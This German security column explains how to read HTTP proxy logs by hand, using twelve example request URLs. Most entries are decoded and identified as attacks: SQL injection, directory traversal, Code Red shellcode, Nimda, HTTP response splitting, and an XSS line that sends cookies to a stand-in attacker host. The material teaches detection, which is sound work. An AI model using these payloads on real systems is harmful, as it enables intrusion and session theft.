Nach der manuellen Auswertung der Paketfilter-Logfiles (siehe About Security #39) geht es nun um die Auswertung der HTTP-Proxy-Logfiles. Der Umfang der Protokollierung durch den HTTP-Proxy wurde in About Security #37 beschrieben. Die Einträge in das Logfile könnten dann zum Beispiel nach dem folgenden Muster aufgebaut werden:
| Datum | Zeit | Senderadresse | Zieladresse |
| Authentifizierungsdaten | Methode | URL | Übertragene Bytes |
| Statusmeldungen | Regel / Filter | ggf. Aktion |
N E U ! Security
aktuell
Täglich aktuelle Security-Infos!
Zur besseren Lesbarkeit wurde die Zeile, so wie zum Teil auch die weiteren Beispiele, auf mehrere Zeilen verteilt. Im Logfile werden die Daten in der Regel jeweils in einer Zeile ausgegeben. Eine nicht umbrochene Version der folgenden beiden Beispiele gibt es hier.
Eine mögliche Zeile des Logfiles wäre zum Beispiel
| Datum | Zeit | Senderadresse | Zieladresse |
| Jan 3 | 02:56:12 | a.b.c.d | Webserver |
| Authentifizierungsdaten | Methode | URL | Übertragene Bytes |
| Benutzer / Passwort | GET | /index.html | 1234 |
| Statusmeldungen | Regel / Filter | ggf. Aktion | |
| 200 (OK) | 4 | permit |
Zuerst soll nur der URL betrachtet werden. Das fiktive Logfile enthält die folgenden URL-Einträge:
1 /index.html
2 /Pfad/zur/Webanwendung1/login.php?user=foo&pass=bar
&sprache=deutsch
3 /Pfad/zur/Webanwendung2/index.cgi?aktion=login&user=Bla
&pass='%20OR%201%3D1%20--
4 /Pfad/zur/Webanwendung1/index.php?sprache=../../../.htpasswd
5 /Pfad/zur/Webanwendung3/aktion.cgi?aktion=XXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
6 /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u
6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u53
1b%u53ff%u0078%u0000%u00=a
7 /Pfad/zur/Webanwendung3/aktion.cgi?aktion=anzeigen&id=
%3Cscript%3Edocument%2Elocation%3D%2Chttp%3A%2F%2Fwww%2E
boeser%2Dserver%2Eexample%2Fcgi%2Dbin%2Fcookieklau%2Ecgi
%3F%2C%20%2Bdocument%2Ecookie%3C%2Fscript%3E
8 /scripts/..%255c../winnt/system32/cmd.exe?/c+dir
9 /test/index.html
10 /test/Pfad/zur/Webanwendung1/index.php
11 /redir_lang.jsp?lang=englisch
12 /redir_lang.jsp?lang=sinnlos%0d%0aContent-Length:%200%0d%0a
%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html
%0d%0aContentLength:%2023%0d%0a%0d%0a<html>Geschaf
ft!</html>
Was bedeuten diese Einträge?
Zeile 1 stellt einen normalen Aufruf der Startseite /index.html dar.
In Zeile 2 meldet sich der Benutzer foo mit seinem Passwort bar bei der Webanwendung Webanwendung1 an. Er hat als Sprache deutsch gewählt. Auch dieser Eintrag ist eine normale Aktion.
In Zeile 3 versucht ein Angreifer, eine SQL-Injection-Schwachstelle in der Webanwendung Webanwendung2 auszunutzen, um die Authentifizierung zu umgehen. Das übergebene URL-kodierte Passwort
'%20OR%201%3D1%20--entspricht dekodiert
' OR 1=1 --und soll dazu führen, dass eine SQL-Abfrage mit dem Passwort TRUE liefert (siehe About Security #11).
In Zeile 4 versucht ein Angreifer, über eine Directory-Traversal-Schwachstelle die Datei .htpasswd einzubinden und dadurch anzeigen zu lassen (siehe About Security #16).
In Zeile 5 wird eine sehr lange Zeichenkette für den Parameter
aktion der Webanwendung Webanwendung3
übergeben,
um einen Pufferüberlauf auszulösen (siehe About Security
#6).
Zeile 6 zeigt einen Angriff des Wurms Code Red, siehe About Security #27.
In Zeile 7 findet ein Cross-Site-Scripting-Angriff statt. Der für den
Parameter id übergebene URL-kodierte Wert
%3Cscript%3Edocument%2Elocation%3D%2Chttp%3A%2F%2Fwww%2Eboeser%2Dse
rver%2Eexample%2Fcgi%2Dbin%2Fcookieklau%2Ecgi%3F%2C%20%2Bdocument
%2Ecookie%3C%2Fscript%3Eentspricht dekodiert
<script>document.location='http://www.boeser-server.example/cgi-bin/
cookieklau.cgi?'%20+document.cookie</script>und sendet den Cookie des betroffenen Benutzers an den Server des Angreifers (boeser-server.example) (About Security #14). Die Anfrage stammt von einem Benutzer, dem der manipulierte Link untergeschoben wurde.
In Zeile 8 findet ein Angriff durch den Nimda-Wurm statt, siehe About Security #27.
In Zeile 9 und 10 wird eine Testversion der Startseite beziehungsweise der Webanwendung1 aufgerufen. Ob dies zulässige Aktionen oder Angriffsversuche sind (siehe About Security #27), ist aus diesem Logfile nicht ersichtlich.
Zeile 11 zeigt den normalen Aufruf eines Redirection-Skripts, um als Sprache Englisch zu wählen. In Zeile 12 wird dasselbe Skript für einen HTTP-Response-Splitting-Angriff (About Security #21) genutzt.
(Erfolgreicher) Angriff oder nicht?
Ob es sich um einen Angriff handelt oder nicht und ob ein eventueller Angriff erfolgreich war, lässt sich allein aus dem URL nicht erkennen. Dafür sind weitere Informationen erforderlich, die in der nächsten Folge behandelt werden.
Wenn Sie Fragen oder Themenvorschläge haben, können Sie diese gerne an die angegebene E-Mail-Adresse senden oder im Security-Forum einbringen!
About Security – Übersicht zum aktuellen Thema "Logfiles"
- About Security #37: Logfiles – Welche Daten speichern?
- About Security #38: Logfiles – Wie auswerten?
- About Security #39: Paketfilter-Logfiles manuell auswerten
- About Security #40: HTTP-Proxy-Logfiles manuell auswerten, 1
- About Security #41: HTTP-Proxy-Logfiles manuell auswerten, 2
Kommentare